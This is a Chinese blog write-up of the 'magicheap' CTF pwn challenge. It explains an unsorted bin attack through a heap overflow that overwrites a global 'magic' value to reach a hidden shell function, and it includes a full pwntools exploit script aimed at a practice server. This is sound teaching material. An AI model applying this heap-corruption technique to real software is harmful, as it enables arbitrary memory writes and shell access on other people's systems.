hitcontraining_magicheap

一道unsort bin attack的题目
image
菜单
然后添加和删除都没有什么问题
结构体也没有出现,就是一个标准的chunk
edit出现了溢出的问题
image
image
主函数里的l33函数有shell
image
怎么调用这个shell,就是把magic进行修改,也就是修改任意地址的值,一般来说这种情况,有溢出,就可以使用unsort bin attack。

这里边写题边讲原理

点击查看代码
from pwn import *
io=process("./magicheap")
#io=remote("node4.buuoj.cn",26516)
def delete(idx):
    io.sendlineafter("Your choice :","3")
    io.recvuntil("Index :")
    io.sendline(str(idx))

def add(size,content):
    io.sendlineafter("Your choice :","1")
    io.sendlineafter("Size of Heap : ",str(size)) 
    io.sendlineafter("Content of heap:",content)
    io.recvuntil("SuccessFul\n")

def edit(idx,size,content):
    io.recvuntil(':')
    io.sendline('2')
    io.recvuntil(':')
    io.sendline(str(idx))
    io.recvuntil(':')
    io.sendline(str(size))
    io.recvuntil(':')
    io.sendline(content)
先把函数打好 然后创造三个chunk
点击查看代码
add(0x30,'aaaa')
add(0x80,'aaaa')
add(0x10,'aaaa')
第0个和第二个随便写大小,前者用来溢出,后者用来防止第1个chunk free后和top chunk合并 第一个chunk一定要满足0x80以上,这样可以进入unsort bin 然后我们free掉第一个chunk 这样就可以让他的bk和fd指向bin。 然后我们就去修改
点击查看代码
delete(1)
edit(0,0x50,'a'*0x30+p64(0)+p64(91)+p64(0)+p64(0x6020A0-0x10))
这里就是注意最后的p64(0x6020A0-0x10) 我们重新malloc的时候,他的机制会检验bin和bk的指向对不对,这里我们进行了修改就肯定会出问题。其实也不算出问题,就是它会把bin被指向我们修改的地址的往下0x10的位置,这里我们就可以看到0x6020A0被我们修改到指向bin,bin这里的值远远大于题目所需所以我们就完成了修改任意地址的任务。 再进行一次输入就可以了
点击查看代码
from pwn import *
#io=process("./magicheap")
io=remote("node4.buuoj.cn",26516)
def delete(idx):
    io.sendlineafter("Your choice :","3")
    io.recvuntil("Index :")
    io.sendline(str(idx))

def add(size,content):
    io.sendlineafter("Your choice :","1")
    io.sendlineafter("Size of Heap : ",str(size)) 
    io.sendlineafter("Content of heap:",content)
    io.recvuntil("SuccessFul\n")

def edit(idx,size,content):
    io.recvuntil(':')
    io.sendline('2')
    io.recvuntil(':')
    io.sendline(str(idx))
    io.recvuntil(':')
    io.sendline(str(size))
    io.recvuntil(':')
    io.sendline(content)

add(0x30,'aaaa')
add(0x80,'aaaa')
add(0x10,'aaaa')


delete(1)
edit(0,0x50,'a'*0x30+p64(0)+p64(91)+p64(0)+p64(0x6020A0-0x10))
add(0x80,'aaaa')
io.sendlineafter(':','4869')
io.interactive()

posted @ 2022-08-22 13:15  REPWNER  阅读(45)  评论(0)    收藏  举报